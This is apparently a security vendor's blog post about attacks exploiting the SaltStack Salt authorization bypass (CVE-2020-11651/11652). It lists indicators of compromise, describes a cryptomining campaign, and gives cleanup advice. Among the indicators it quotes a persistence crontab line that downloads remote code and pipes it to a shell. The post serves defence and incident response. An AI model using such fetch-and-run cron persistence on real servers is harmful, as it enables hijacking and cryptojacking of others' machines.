<iframe src="https://www.googletagmanager.com/ns.html?id=GTM-5HLVVHN" height="0" width="0" style="display:none;visibility:hidden">

Addressing A Critical Security Flaw: The SaltStack Salt Authorization Bypass

May 7, 2020 12:45:52 PM / by Dmitry Tkachuk




A New Attack Signature


This week, the Imunify360 security team was informed of a new kind of attack, one that our customers told us caused these problems:

  • Inoperable firewall
  • High CPU resource consumption
  • Log entries such as: im360.plugins.client360: Cannot connect the Server (imunify360.cloudlinux.com) [[Errno -2] Name or service not known]


When we investigated, we saw that these issues were caused by a SaltStack authorization bypass vulnerability (CVE References: CVE-2020-11651, CVE-2020-11652). This vulnerability enables remote command execution as root, on both the master and all minions that connect to it. It affects SaltStack Salt before 2019.2.4, and 3000 before 3000.2.


Indicators Of Compromise


There are several indications that a server could be compromised through this Salt authorization bypass:

  • Execution of an OSSEC incident reporting script:
    INFO [2020-05-05 15:36:43,767] defence360agent.internals.the_sink: SensorIncident({'message': 'May 5 15:36:43 albany1 sudo: root : TTY=unknown ; PWD=/root ; USER=root ; COMMAND=/bin/curl -L', 'rule': 5402, 'method': 'INCIDENT', 'attackers_ip': None, 'name': 'Successful sudo to ROOT executed', 'severity': 3, 'timestamp': 1588707403.7163656, 'plugin_id': 'ossec'})
  • These crontab tasks:
    * * * * * wget -q -O - | sh > /dev/null 2>&1
    * * * * * /usr/bin/salt-store || /tmp/salt-store || /var/tmp/salt-store
  • The presence of these  files:
  • A salt-store process running. Here is a sample output for ps aux | grep “salt-store”:
    root     12102  5.3  1.2 119436 48740 ?        Sl   14:08   0:00 /tmp/salt-store


Descriptions Of Attacks


Attackers are exploiting vulnerabilities in the SaltStack Salt authorization mechanism to escalate privileges and execute any kind of malicious payload. In our particular analysis case that was  attempt to spread crypto mining applications into all the minions connected to a vulnerable master. 

Execution of the bash script adds two cron jobs: one to download malware, and another to execute it. So it will be executed even after a server restart.

Also, we found s2.sh being run by an attacker who is trying to stop firewalls and it’s rivals:

pasted image 0 (24)


Here is the VirusTotal report for s2.sh (SHA-256 9f52583d5312d90dc971dbe33ff801f43fca6f50b381d261984cd4eddcfd2328): 


pasted image 0 (22)


The goal of this malware attack is to run a crypto mining application, which is included in a ~16MB ELF binary file named salt-store (SHA-256 98d3fd460e56eff5182d5abe2f1cd7f042ea24105d0e25ea5ec78fedc25bac7c):


pasted image 0 (23)


Mitigating These Vulnerabilities


Affected servers should be treated as fully compromised, as attackers gain root control through a master. To mitigate the issue, we would recommend a full Master and Minions reimage.

If that isn’t possible, the next-best option is to take these actions: 

  1. Fix your Salt Master. (instructions at https://saltexploit.com/)
  2. Manually remove malicious crontab entries.
  3. Manually remove all malicious files from the minions by running this command:
    rm -fv /usr/bin/salt-store /tmp/salt-store /var/tmp/salt-store /tmp/salt-minions


  4. Perform a full system re-scan. 

The Imunify360 security team added signatures for these threats, and updated our malware signatures database on 6 May, 2020.

But finally, all those steps will not guarantee full cleanup as the attacker had root access and was able to perform any malicious actions, e.g. place hidden backdoor, disable security checks or even modify system files.


Topics: Imunify360, security, Antivirus, Advice

Dmitry Tkachuk

Written by Dmitry Tkachuk

Imunify Security, Product Manager

    Subscribe to Email Updates

    Ready to try Imunify?

    30-DAY TRIAL

    Recent Posts